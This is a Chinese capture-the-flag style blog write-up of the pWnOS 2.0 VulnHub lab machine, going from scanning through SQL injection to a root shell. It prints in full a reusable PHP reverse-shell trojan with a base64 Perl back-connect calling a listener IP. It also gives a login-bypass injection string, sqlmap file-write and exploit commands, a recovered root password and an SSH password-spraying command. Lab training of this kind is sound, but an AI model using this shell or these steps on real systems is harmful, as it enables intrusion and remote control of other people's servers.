🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
一、前言
二、外围打点——信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
三、信息收集+渗透测试
1、web渗透测试
2、利用sqlmap上传木马,拿www-data权限
3、Simple PHP 框架漏洞利用,拿www-data权限
四、提权
1、常规提权操作+信息收集
3、crackmapexec密码碰撞
4、root权限
一、前言
靶机精讲之pWnOS 2.0,vulnhub靶机,简洁明快的攻击链,php+mysql架构cms渗透的样本。从利用选择、反弹shell获得,到信息搜集和枚举,以及mysql数据库的翻找,都可以算上php+mysql架构cms渗透的标准靶机,很多更复杂的渗透也是在此基础上的展开的,这台靶机是可以深入思考,形成思维框架的靶机。
需要注意的是,这个靶机我们下载下来,默认是个静态的IP:10.10.10.100,所以我们需要把我们的wmvare的虚拟网卡设置为10.10.10.0/24网段的地址。
你需要点击下面的更改设置,把网段设置为10.10.10.0/24网段的,因为我这里是NAT模式,所以该的是NAT模式的网段
改完之后,重启kali,就会发现我们的IP变成了10网段的了:
二、外围打点——信息收集
1、主机探测
通过利用arp进行主机探测,发现靶机的IP地址是10.10.10.100,其实我们开始也讲到了,这个靶机被打包下载的时候。默认IP就是10.10.10.100。
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
2、端口扫描
可以看到这台靶机只开放了22、80端口, 22的话一般靶机后面肯定都是用来利用ssh远程连接的,那么我们就需要信息收集账号密码了,web的80端口毫无疑问是首选的渗透测试方向。
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 10.10.10.100
因为扫描发现的端口有点少,我们这里再利用nmap扫描UDP端口开放的情况
扫描发现,UDP端口没有什么有价值的端口
┌──(root💀kali)-[~/桌面]
└─# nmap -sU --min-rate 10000 10.10.10.100
3、漏洞扫描
通过利用nmap的漏洞扫描库,扫描到这个靶机的登录页面和注册页面存在csrf,以及扫描到了一些目录,我们到时候可以尝试访问下。
┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 10.10.10.100
三、信息收集+渗透测试
1、web渗透测试
直接访问这个IP的80端口 ,是个静态的html页面,右边有注册和登录的页面,
看到这种登录框,我们首先可以尝试下弱口令登录,然后再尝试下是否存在sql注入,
我这里尝试输入单引号',然后发现页面报错,那么存在sql注入
然后我们再利用sql注入的万能密码尝试登录,发现成功登录进去了,但是里面内容没有任何回显,一直就是显示正在登录中,这个情况也很有可能是后台存在防火墙之类的防护设备,但是没关系,至少我们知道了这里存在sql注入漏洞。
admin'or'1'=1#
2、利用sqlmap上传木马,拿www-data权限
这里给大家提供一个很好用并且很稳定的反弹shell木马文件:
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "10.10.10.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
我们只需要修改下面两个参数就可以了,一个是监听的IP地址,还有一个就是监听的端口。
然后我们这里就可以利用sqlmap上传木马到靶机的指定目录位置,然后kali监听,浏览器访问木马所在的位置,点击木马,就可以拿到shell了。
我们先利用dirsearch扫描目录,看看有哪些目录上传点,比如:(/var/www,/var/www/includes,/var/www/blogs/images)
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100
我这里选择/includes目录下,木马上传到指定目录/var/www/includes/下了。
┌──(root💀kali)-[~/桌面]
└─# sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='webshell.php' --file-dest='/var/www/includes/webshell.php'
kali先监听,然后浏览器点击上传的木马,就可以看到反弹设立了成功了。
┌──(root💀kali)-[~/桌面]
└─# nc -lvvp 4444
3、Simple PHP 框架漏洞利用,拿www-data权限
我们前面进行的目录扫描以及漏洞扫描,都发现/blog目录,我们访问看下
我们可以看到,这个页面看着很老,就像是以前的老版本的某个CMS框架搭建的,所以我们可以利用whatweb或者其他工具进行查看下它是哪个cms框架搭建的。
我们可以看到存在Simple PHP Blog 0.4.0框架,你要是问我怎么就知道这个漏洞,其实不是说一眼知道的,比如我们在现实中进行渗透测试也是一样,信息收集过程中,碰到不会的信息,我们收集起来问chatgpt,然后上网检索,这里面的很多关键词我都上网查找了,当我检索Simple PHP Blog 0.4.0的时候,发现exp存在这个漏洞。
┌──(root💀kali)-[~/桌面]
└─# whatweb http://10.10.10.100/blog/
我们这里直接利用kali的searchsploit命令检索,然后再看看使用哪个exp进行渗透测试;
我们可以看到有两个,第一个是创建账户密码,第二个是利用这个exp可以执行cmd命令,我这里选择第一个,直接创建账户密码,然后登录后台,再进行下一步的渗透测试工作。
下载这个exp,然后看看这个exp的使用方法,要是看不懂的师傅,可以利用chatgpt或者上网查,都是可以查找到的!!!
┌──(root💀kali)-[~/桌面]
└─# searchsploit -m 1191.pl
这里就是这个exp的使用方式了,我们可以看到-e选择3,是可以创建用户密码的,那么我们就用这个命令执行exp。
插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。
apt install libswitch-perl
可以看到我们这里已经成功创建了用户名和密码了
perl 1191.pl -h http://10.10.10.100/blog -e 3 -U routing -P 1234
我们成功登录进来了,并且我们发现这里有一个文件上传的功能点,我们尝试上传我们开始的webshell.php木马上去。
上传成功了,这个网站确实是老旧啊,一点过滤都没有.php木马直接就上传上去了,
木马上传成功了,那么我们目前就肯定得找到这个木马上传的位置,我们扫描看看这个目录下有哪些子目录之类的,扫描完毕,那就是挨个试目录了,后来发现木马上传到/blog/images/目录下
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100/blog/ -x 403
可以看到,我们的kali已经接收到了木马的反弹shell了。
python -c 'import pty;pty.spawn ("/bin/bash")' //交互式shell
四、提权
1、常规提权操作+信息收集
我们一般拿到交互式shell,首先查看下注册表是否有定时任务之类的,然后查看下哪些有SUID提权以及sudo 提权,但是这里都不行,那么我们就需要在文件目录里面进行信息收集,查找下是否有什么有价值的信息,特别是账号密码之类的。
我们在网站根目录找到了数据库的登录账号密码
但是尝试mysql登录,没有登录成功,这里不应该,我猜测应该是作者故意留的假的账号密码,但是这个存在mysql数据库的账号密码文件应该是真实存在的,但是这个应该是障眼法,所以我们直接检索下,这个文件。
发现/var/目录下还确实有mysqli_connect.php文件,我们cat查看下
找到了mysql数据库的账号密码,我们再进行尝试登录,发现登录成功了
www-data@web:/var/www$ find / -name Hmysqli_connect.php 2>/dev/null
find / -name mysqli_connect.php 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php
查找mysql数据库里面的信息,发现账号密码,不过这里密码进行了加密,我们利用kali的hash嗅探工具进行检查下,看看是什么加密。
发现是SHA-1加密的,我们找个在线解密工具
┌──(root💀kali)-[~/桌面]
└─# hash-identifier "c2c4b4e51d9e23c02c15702c136c3e950ba9a4af"
这个在线解密工具师傅们可以收藏下,这个网站有好多类型的解密,而且这个网站的库还很大,一般都可以解密出来。
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free onlineDecrypt and crack your MD5, SHA1, SHA256, MySQL, MD5 Email, SHA256 Email, and NTLM hashes for free online. We also support Bcrypt, SHA512, Wordpress and many more.https://hashes.com/en/decrypt/hash
利用解密出来的两个账号密码进行ssh远程登录,发现都没有用,那么我们就需要收集更加多的账号密码进行密码碰撞。
3、crackmapexec密码碰撞
直接看下/etc/passwd下有哪几个用户更root用户的权限一样的,直接加入到user爆破字典中。
经过收集,我们的用户和密码的字典如下:
我们可以看到,这个 root:root@ISIntS账号密码不就是我们开始登录MySQL数据库的嘛,这其实也是我们现实中做渗透测试中常见的,就是很多地方,作者自己会把好几个账号密码都设置成一个。
┌──(root💀kali)-[~/桌面]
└─# crackmapexec ssh 10.10.10.100 -u user.txt -p passwd.txt --continue-on-success
4、root权限
恭喜我们成功拿到了root权限,这台靶机也就成功拿下了!!!